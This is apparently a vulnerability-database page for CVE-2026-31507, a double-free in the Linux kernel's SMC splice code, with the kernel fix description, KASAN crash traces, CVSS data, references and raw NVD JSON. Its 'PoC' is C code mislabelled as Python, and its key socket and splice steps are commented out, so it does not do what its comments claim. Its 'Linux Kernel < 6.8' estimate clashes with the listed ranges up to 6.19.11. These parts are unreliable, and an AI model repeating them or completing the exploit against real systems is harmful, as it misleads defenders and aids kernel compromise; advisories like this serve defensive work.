CVE-2026-31507

Description

In the Linux kernel, the following vulnerability has been resolved: net/smc: fix double-free of smc_spd_priv when tee() duplicates splice pipe buffer smc_rx_splice() allocates one smc_spd_priv per pipe_buffer and stores the pointer in pipe_buffer.private. The pipe_buf_operations for these buffers used .get = generic_pipe_buf_get, which only increments the page reference count when tee(2) duplicates a pipe buffer. The smc_spd_priv pointer itself was not handled, so after tee() both the original and the cloned pipe_buffer share the same smc_spd_priv *. When both pipes are subsequently released, smc_rx_pipe_buf_release() is called twice against the same object: 1st call: kfree(priv) sock_put(sk) smc_rx_update_cons() [correct] 2nd call: kfree(priv) sock_put(sk) smc_rx_update_cons() [UAF] KASAN reports a slab-use-after-free in smc_rx_pipe_buf_release(), which then escalates to a NULL-pointer dereference and kernel panic via smc_rx_update_consumer() when it chases the freed priv->smc pointer: BUG: KASAN: slab-use-after-free in smc_rx_pipe_buf_release+0x78/0x2a0 Read of size 8 at addr ffff888004a45740 by task smc_splice_tee_/74 Call Trace: <TASK> dump_stack_lvl+0x53/0x70 print_report+0xce/0x650 kasan_report+0xc6/0x100 smc_rx_pipe_buf_release+0x78/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> BUG: kernel NULL pointer dereference, address: 0000000000000020 RIP: 0010:smc_rx_update_consumer+0x8d/0x350 Call Trace: <TASK> smc_rx_pipe_buf_release+0x121/0x2a0 free_pipe_info+0xd4/0x130 pipe_release+0x142/0x160 __fput+0x1c6/0x490 __x64_sys_close+0x4f/0x90 do_syscall_64+0xa6/0x1a0 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Kernel panic - not syncing: Fatal exception Beyond the memory-safety problem, duplicating an SMC splice buffer is semantically questionable: smc_rx_update_cons() would advance the consumer cursor twice for the same data, corrupting receive-window accounting. A refcount on smc_spd_priv could fix the double-free, but the cursor-accounting issue would still need to be addressed separately. The .get callback is invoked by both tee(2) and splice_pipe_to_pipe() for partial transfers; both will now return -EFAULT. Users who need to duplicate SMC socket data must use a copy-based read path.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.8 (预估)

包含SMC支持的Linux Kernel稳定版本，且未应用对应补丁的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31507: Linux Kernel SMC Double Free
 * Triggering the vulnerability requires SMC socket setup and tee() usage.
 */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>

// SMC protocol usually requires AF_SMC support in kernel
// int socket_fd = socket(AF_SMC, SOCK_STREAM, 0);

int main() {
    int pipe_a[2], pipe_b[2];
    
    // Create pipes
    if (pipe(pipe_a) < 0 || pipe(pipe_b) < 0) {
        perror("pipe");
        return -1;
    }

    // In a real exploit, splice data from an SMC socket into pipe_a
    // splice(smc_socket, NULL, pipe_a[1], NULL, 1024, 0);

    // Use tee() to duplicate data between pipes without copying
    // This triggers the vulnerable .get callback if pipe_a contains SMC buffers
    ssize_t len = tee(pipe_a[0], pipe_b[1], 1024, 0);
    if (len < 0) {
        perror("tee");
    }

    // Closing both pipes triggers the double-free in smc_rx_pipe_buf_release
    close(pipe_a[0]);
    close(pipe_a[1]);
    close(pipe_b[0]);
    close(pipe_b[1]);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31507
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31507
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31507/
[4] VulDB https://vuldb.com/cve/CVE-2026-31507
[5] https://git.kernel.org/stable/c/24dd586bb4cbba1889a50abe74143817a095c1c9
[6] https://git.kernel.org/stable/c/3cc76380fea749280c026f410af56a28aaac388a
[7] https://git.kernel.org/stable/c/54c87a730157868543ebdfa0ecb21b4590ed23a5
[8] https://git.kernel.org/stable/c/7bcb974c771c863e8588cea0012ac204443a7126
[9] https://git.kernel.org/stable/c/7e8916f46c2f48607f907fd401590093753a6bc5
[10] https://git.kernel.org/stable/c/81acbd345d405994875d419d43b319fee0b9ad62
[11] https://git.kernel.org/stable/c/98ba5cb274768146e25ffbfde47753652c1c20d3
[12] https://git.kernel.org/stable/c/ae5575e660410c8d2c5d38fb28a0f37aea945676

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31507", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:49.523", "lastModified": "2026-04-28T15:05:10.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: fix double-free of smc_spd_priv when tee() duplicates splice pipe buffer\n\nsmc_rx_splice() allocates one smc_spd_priv per pipe_buffer and stores\nthe pointer in pipe_buffer.private. The pipe_buf_operations for these\nbuffers used .get = generic_pipe_buf_get, which only increments the page\nreference count when tee(2) duplicates a pipe buffer. The smc_spd_priv\npointer itself was not handled, so after tee() both the original and the\ncloned pipe_buffer share the same smc_spd_priv *.\n\nWhen both pipes are subsequently released, smc_rx_pipe_buf_release() is\ncalled twice against the same object:\n\n 1st call: kfree(priv) sock_put(sk) smc_rx_update_cons() [correct]\n 2nd call: kfree(priv) sock_put(sk) smc_rx_update_cons() [UAF]\n\nKASAN reports a slab-use-after-free in smc_rx_pipe_buf_release(), which\nthen escalates to a NULL-pointer dereference and kernel panic via\nsmc_rx_update_consumer() when it chases the freed priv->smc pointer:\n\n BUG: KASAN: slab-use-after-free in smc_rx_pipe_buf_release+0x78/0x2a0\n Read of size 8 at addr ffff888004a45740 by task smc_splice_tee_/74\n Call Trace:\n <TASK>\n dump_stack_lvl+0x53/0x70\n print_report+0xce/0x650\n kasan_report+0xc6/0x100\n smc_rx_pipe_buf_release+0x78/0x2a0\n free_pipe_info+0xd4/0x130\n pipe_release+0x142/0x160\n __fput+0x1c6/0x490\n __x64_sys_close+0x4f/0x90\n do_syscall_64+0xa6/0x1a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n\n BUG: kernel NULL pointer dereference, address: 0000000000000020\n RIP: 0010:smc_rx_update_consumer+0x8d/0x350\n Call Trace:\n <TASK>\n smc_rx_pipe_buf_release+0x121/0x2a0\n free_pipe_info+0xd4/0x130\n pipe_release+0x142/0x160\n __fput+0x1c6/0x490\n __x64_sys_close+0x4f/0x90\n do_syscall_64+0xa6/0x1a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n Kernel panic - not syncing: Fatal exception\n\nBeyond the memory-safety problem, duplicating an SMC splice buffer is\nsemantically questionable: smc_rx_update_cons() would advance the\nconsumer cursor twice for the same data, corrupting receive-window\naccounting. A refcount on smc_spd_priv could fix the double-free, but\nthe cursor-accounting issue would still need to be addressed separately.\n\nThe .get callback is invoked by both tee(2) and splice_pipe_to_pipe()\nfor partial transfers; both will now return -EFAULT. Users who need\nto duplicate SMC socket data must use a copy-based read path."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "874956BE-5D82-4514-AA62-A1CCA27A0891"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux ... (truncated)